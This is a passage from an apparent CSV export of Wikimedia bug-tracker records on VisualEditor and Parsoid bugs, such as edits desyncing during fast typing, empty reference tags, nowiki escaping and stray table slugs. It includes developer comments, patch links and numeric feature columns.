+https://gerrit.wikimedia.org/r/81027",,,1377545794,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dtn35n72ll6dpl3csge6,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238529,VisualEditor: Document loses focus after cutting a FocusableNode,https://gerrit.wikimedia.org/r/#/c/81027/ fixes,,,1377545735,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dtn35n72ll6dpl3csge6,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+55360,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"example 1
+
+new issue as of Aug 26, seen on test2wiki
+
+this is easily triggered by an automated browser test but can also be triggered manually: 
+
+while typing edits, click the Save page button.  
+click Review 
+
+Edited page and diff view contents are not the same. See screen shot examples 1 and 2. 
+
+ex 1: ""asfdaEdit"" in edited page vs ""asEdadit"" in diff view where original page has ""Edit""
+
+ex 2: ""aaqaaaStarting"" in edited page vs ""aSqaaatarting"" in diff view where original page has ""Starting""
+
+in at least one case, the actual saved contents of the page differs from the buffer that appears upon clicking Edit to invoke VE, see example 3
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+
+**Attached**: {F11309}",High,80.0,1377540900,1377657017.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-si6erwgobtecdd3semnx,task_description,resolved,True,c1,3,False,False,True,8,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0
+238443,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"This has been fixed in VisualEditor master as part of gerrit 81213, and we will do an emergency push of this to wmf14 tomorrow to fix it in product; sorry for the disruption.",,,1377657008,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+238435,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),I should mention that the (corrupted) diff view contents is what is actually saved when finally saving the page in VE,,,1377638934,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+238429,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"I can reproduce this consistently on test2wiki most of the time manually and automatedly all of the time as of the last VE deploy.  To repro manually (I use Chrome): 
+
+* Pick a random page on test2wiki that has existing text
+* click Edit for VE. click no other thing.
+* Poise your right hand so that you are prepared to click 'Save page'
+* With your left hand type randomly very very quickly. While typing with your left hand, click 'Save page' with your right hand
+
+* take a look at the VE page contents (CE I assume).  It will appear to be accurate.  It will be different than what is in the diff view (DM I assume). 
+
+Note: the automated test moves quickly enough that *nothing* typed into the VE edit interface is reflected in the diff view.  I can demo this if you'd like.
+
+Again, this is new behavior as of Aug 26.",,,1377638844,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+238423,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"I still can't reproduce these in Chrome/Firefox/Safari/Opera testing on local master, on production test2, or production enwiki/mediawikiwiki.
+
+What does ""can also be triggered manually"" mean - how? Or is this an unreliable/occasional thing? Possibly a system-load issue?
+
+Is this specific to test2?
+
+From the screenshots, the displayed content (from CE) and the data model (in DM) appear to have gotten out of sync, which Shouldn't Ever Happen(tm).",,,1377633524,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+238418,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"Created attachment 13176
+example 3
+
+**Attached**: {F11316}",,,1377541077,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+238413,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"Created attachment 13175
+example 3
+
+**Attached**: {F11315}",,,1377541052,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+238407,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"Created attachment 13174
+example 2
+
+**Attached**: {F11312}",,,1377541029,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+238401,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"Created attachment 13173
+example 2
+
+**Attached**: {F11311}",,,1377541006,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+238395,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"Created attachment 13172
+example 1
+
+**Attached**: {F11310}",,,1377540983,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+55345,VisualEditor: Creating a new reference with blank content leads to insertion of a <ref/> tag in the wikitext,"See https://pl.wikipedia.org/w/index.php?title=Wojnicz&diff=37347163&oldid=37312891 for an example - I'm not sure what the problem is, here, since that's a meaningless tag :/.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377527760,1377649422.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-2537ayvqomhm6aw6be77,task_description,resolved,True,c1,3,False,False,True,8,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+237658,VisualEditor: Creating a new reference with blank content leads to insertion of a <ref/> tag in the wikitext,Fixed in master; will be deployed on Thursday as part of the regular push.,,,1377649422,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2537ayvqomhm6aw6be77,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237652,VisualEditor: Creating a new reference with blank content leads to insertion of a <ref/> tag in the wikitext,"Change 81438 merged by jenkins-bot:
+Disable inserting/changing references when surface widget is empty
+
+https://gerrit.wikimedia.org/r/81438",,,1377649390,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2537ayvqomhm6aw6be77,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+237647,VisualEditor: Creating a new reference with blank content leads to insertion of a <ref/> tag in the wikitext,"Change 81438 had a related patch set uploaded by Esanders:
+Disable inserting/changing references when surface widget is empty
+
+https://gerrit.wikimedia.org/r/81438",,,1377649253,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2537ayvqomhm6aw6be77,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+237642,VisualEditor: Creating a new reference with blank content leads to insertion of a <ref/> tag in the wikitext,"Looks like it's what happens when you insert a reference without typing anything into the box. Hit ""insert reference"", leave the main field blank, go immediately to the insert button, and... https://pl.wikipedia.org/w/index.php?title=Wikipedysta%3AOkeyes_%28WMF%29&diff=37370424&oldid=37257359",,,1377621200,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-2537ayvqomhm6aw6be77,task_subcomment,,True,c1,3,False,,,8,,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0
+55303,"Don't allow nested <ref>s, because Cite.php doesn't","From http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#VE.2C_Sfn_template_within_reference.2C_Vcite_error
+
+Adding a <ref> tag (e.g., a bibliographic citation) inside another <ref> tag with a different group (e.g., an explanatory footnote), displays as desired in VisualEditor, but when you save the page, it isn't visible because of T22707 in Cite.php
+
+This is most likely to happen with a ref-creating template like {{sfn}}, since VisualEditor doesn't have the buttons to created nested ref tags directly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**URL**: http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=570036528&oldid=570035364",High,80.0,1377373500,1417468754.0,PHID-USER-uf3buojo4ceizjywvyn5,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-tht33qexrstttffqqdac,task_description,resolved,True,c1,3,False,False,False,7,,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1
+235284,"Don't allow nested <ref>s, because Cite.php doesn't","We have mismatched behavior.  Either *both* systems should display nested refs, or VisualEditor should stop displaying nested refs to match the limited features available to readers.
+
+Whether this mismatch should be solved by reducing VisualEditor's ability to process nested refs or by increasing the other system's ability to process nested refs is beyond my paygrade.",,,1378762753,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-tht33qexrstttffqqdac,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+235274,"Don't allow nested <ref>s, because Cite.php doesn't","(In reply to comment #0)
+> Adding a <ref> tag (e.g., a bibliographic citation) inside another <ref> tag
+> with a different group (e.g., an explanatory footnote), displays as desired
+> in
+> VisualEditor, but when you save the page, it isn't visible because of Bug
+> 20707
+> in Cite.php
+
+If this problem is covered in bug 20707 already I'm not sure what your intention was to file another bug report. Could you clarify please?",,,1377510119,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-tht33qexrstttffqqdac,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+55251,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing","The editor has the title and tooltip ""LaTeX"". This is not entirely correct. It's just the math environment subset for LaTeX that we can handle and support.
+
+The label also conflicts with the visual symbol, which clearly communicates the Math function using the sum symbol. Remember that many people might not even know what LaTeX even is, causing further confusion.
+
+The problem here is that we want to explain to the user that we want him to enter the math using LaTeX, because otherwise he might not understand how to enter his formula. Perhaps that is why the LaTeX label was chosen.
+
+We should find a better way. Perhaps using a label or placeholder. ""Enter formula using AMS-LaTeX""
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=43058",High,80.0,1377252120,1386810532.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-5rnk4jk4usyomimnhvgw,task_description,resolved,True,c1,3,True,False,False,7,,1,0,1,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+257059,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing",verified in test2:https://test2.wikipedia.org/w/index.php?title=13th_december&veaction=edit,,,1386984972,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257052,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing",Verified in Betalabs,,,1386824907,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+257045,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing",This is now fixed in betalabs after we caused the English messages to get re-synched.,,,1386821195,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,True,,,23,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+257040,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing",okay but I checked it on Betalabs.,,,1386810610,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+257034,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing","@ryasmeen Fixed != deployed to production. That happens at a later time, usually somewhere within 2 weeks after getting fixed.",,,1386810532,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,True,,,23,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0
+257028,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing",I am still seeing label Latex instead of Formula,,,1386810322,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+257021,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing","Change 100112 merged by jenkins-bot:
+Re-label the formula inspector to not be LaTeX
+
+https://gerrit.wikimedia.org/r/100112",,,1386803523,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257015,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing","Change 100112 had a related patch set uploaded by Jforrester:
+Re-label the formula inspector to not be LaTeX
+
+https://gerrit.wikimedia.org/r/100112",,,1386383633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257009,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing","I'm minded to just call it ""Formula"". Thoughts?",,,1385494999,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0
+55228,Nowiki tag not properly escaped when combined with other wiki markup,"From http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Bold_and_nowiki.2C_other_markup
+
+If you add a nowiki tag by itself, the angle brackets get escaped out (&amp;lt;nowiki&amp;gt;, or does just plain &lt;/nowiki&gt; work here at Bugzilla?).  If you add a nowiki tag plus some wikimarkup, like an asterisk at the start of a line or bold text, it doesn't.  This results in unpaired tags, sometimes functional wikimarkup, and always unexpected results.
+
+Try this:
+
+* You need a </nowiki> tag '''here'''.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377197160,1402417039.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-q5vutkamr63367rd7zxs,task_description,resolved,True,c1,3,False,False,False,7,,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,0,0,0,1
+255560,Nowiki tag not properly escaped when combined with other wiki markup,"Change 137525 merged by jenkins-bot:
+Escape nowiki when combined with other wiki markup
+
+https://gerrit.wikimedia.org/r/137525",,,1402416475,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-q5vutkamr63367rd7zxs,task_subcomment,,True,c1,3,False,,,49,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+255553,Nowiki tag not properly escaped when combined with other wiki markup,"Change 137525 had a related patch set uploaded by Arlolra:
+Escape nowiki when combined with other wiki markup
+
+https://gerrit.wikimedia.org/r/137525",,,1401935637,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-q5vutkamr63367rd7zxs,task_subcomment,,True,c1,3,False,,,48,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+255546,Nowiki tag not properly escaped when combined with other wiki markup,"This is a Parsoid serializer bug:
+
+[subbu@earth tests] echo '* &lt;/nowiki&gt; tag' | node parse --html2wt
+<nowiki>* </nowiki></nowiki> tag",,,1377208818,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-q5vutkamr63367rd7zxs,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1
+55214,"Slugs are created inside empty table rows, creating pawns if used","At https://en.wikipedia.org/w/index.php?title=Churnet_Valley_Railway&diff=prev&oldid=569277862 it seems that a table ending with trailing new line syntax
+
+|-
+|}
+
+caused pawns to be added to the article. As discussed at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=569732999#Chess_pieces_still_happening this syntax, although technically wrong, will continue to be added to articles. VE and Parsoid should therefore deal with this cleanly without the addition of any pawns to the article.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377184320,1395077429.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-jr5ycdlwcecuxieizpcv,task_description,resolved,True,c1,3,False,False,False,7,,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+254487,"Slugs are created inside empty table rows, creating pawns if used","Change 119067 merged by jenkins-bot:
+Only insert slugs where paragraphs are allowed
+
+https://gerrit.wikimedia.org/r/119067",,,1395076819,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,False,,,37,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+254479,"Slugs are created inside empty table rows, creating pawns if used","Change 119067 had a related patch set uploaded by Esanders:
+Only insert slugs where paragraphs are allowed
+
